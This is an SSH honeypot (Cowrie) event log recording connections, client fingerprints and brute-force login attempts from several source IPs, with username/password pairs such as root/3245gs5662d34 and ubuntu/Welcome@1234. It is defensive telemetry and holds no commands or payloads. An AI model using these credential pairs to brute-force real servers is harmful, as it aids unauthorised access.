{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:10.495962Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":52228,"dst_ip":"10.17.0.5","dst_port":22,"session":"28531c9a63ae","protocol":"ssh","message":"New connection: 209.38.255.212:52228 (10.17.0.5:22) [session: 28531c9a63ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:10.573375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:10.577550Z","src_ip":"209.38.255.212","session":"28531c9a63ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:10.661390Z","src_ip":"209.38.255.212","session":"28531c9a63ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:11.031059Z","src_ip":"209.38.255.212","session":"28531c9a63ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:12.146529Z","src_ip":"209.38.255.212","session":"28531c9a63ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":52232,"dst_ip":"10.17.0.5","dst_port":22,"session":"500c279b1359","protocol":"ssh","message":"New connection: 209.38.255.212:52232 (10.17.0.5:22) [session: 500c279b1359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:12.226435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:12.231944Z","src_ip":"209.38.255.212","session":"500c279b1359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:12.314002Z","src_ip":"209.38.255.212","session":"500c279b1359","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:12.674172Z","src_ip":"209.38.255.212","session":"500c279b1359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:12.756111Z","src_ip":"209.38.255.212","session":"7f8a64099541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:12.761662Z","src_ip":"209.38.255.212","session":"500c279b1359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":48886,"dst_ip":"10.17.0.5","dst_port":22,"session":"7182a831d935","protocol":"ssh","message":"New connection: 24.144.91.67:48886 (10.17.0.5:22) [session: 7182a831d935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:34.556599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:34.559744Z","src_ip":"24.144.91.67","session":"7182a831d935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:34.637466Z","src_ip":"24.144.91.67","session":"7182a831d935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gituser","password":"gituser","message":"login attempt [gituser/gituser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:34.985538Z","src_ip":"24.144.91.67","session":"7182a831d935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:49:36.066175Z","src_ip":"24.144.91.67","session":"7182a831d935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":54062,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d30359d9864","protocol":"ssh","message":"New connection: 142.93.139.168:54062 (10.17.0.5:22) [session: 5d30359d9864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:11.274519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:11.281290Z","src_ip":"142.93.139.168","session":"5d30359d9864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:11.357339Z","src_ip":"142.93.139.168","session":"5d30359d9864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"polygon","password":"polygon","message":"login attempt [polygon/polygon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:11.511109Z","src_ip":"142.93.139.168","session":"5d30359d9864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:12.589219Z","src_ip":"142.93.139.168","session":"5d30359d9864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":44794,"dst_ip":"159.203.135.109","dst_port":22,"session":"87112073836f","protocol":"ssh","message":"New connection: 34.81.72.185:44794 (159.203.135.109:22) [session: 87112073836f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:19.213921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:19.218639Z","src_ip":"34.81.72.185","session":"87112073836f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:19.462327Z","src_ip":"34.81.72.185","session":"87112073836f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1234","message":"login attempt [ubuntu/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:20.469151Z","src_ip":"34.81.72.185","session":"87112073836f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:21.715148Z","src_ip":"34.81.72.185","session":"87112073836f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":44602,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb33f7a5d9d3","protocol":"ssh","message":"New connection: 24.144.91.67:44602 (10.17.0.5:22) [session: eb33f7a5d9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:22.516581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:22.521531Z","src_ip":"24.144.91.67","session":"eb33f7a5d9d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:22.596121Z","src_ip":"24.144.91.67","session":"eb33f7a5d9d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"botuser@123456","message":"login attempt [botuser/botuser@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:22.906994Z","src_ip":"24.144.91.67","session":"eb33f7a5d9d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:23.978453Z","src_ip":"24.144.91.67","session":"eb33f7a5d9d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":35758,"dst_ip":"10.17.0.5","dst_port":22,"session":"c29a841dc058","protocol":"ssh","message":"New connection: 23.249.28.115:35758 (10.17.0.5:22) [session: c29a841dc058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:26.306886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:26.310418Z","src_ip":"23.249.28.115","session":"c29a841dc058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:26.495536Z","src_ip":"23.249.28.115","session":"c29a841dc058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":33670,"dst_ip":"10.17.0.5","dst_port":22,"session":"73ed628279f6","protocol":"ssh","message":"New connection: 82.153.157.222:33670 (10.17.0.5:22) [session: 73ed628279f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:27.030704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:27.034535Z","src_ip":"82.153.157.222","session":"73ed628279f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:27.124935Z","src_ip":"82.153.157.222","session":"73ed628279f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdp","password":"123456","message":"login attempt [rdp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:27.274288Z","src_ip":"23.249.28.115","session":"c29a841dc058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pzserver","password":"password","message":"login attempt [pzserver/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:27.518866Z","src_ip":"82.153.157.222","session":"73ed628279f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:28.464955Z","src_ip":"23.249.28.115","session":"c29a841dc058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:28.611091Z","src_ip":"82.153.157.222","session":"73ed628279f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.238.246.148","src_port":36924,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a99cb670c5d","protocol":"ssh","message":"New connection: 156.238.246.148:36924 (10.17.0.5:22) [session: 6a99cb670c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:30.408327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:50:30.413125Z","src_ip":"156.238.246.148","session":"6a99cb670c5d","protocol":"ssh"}
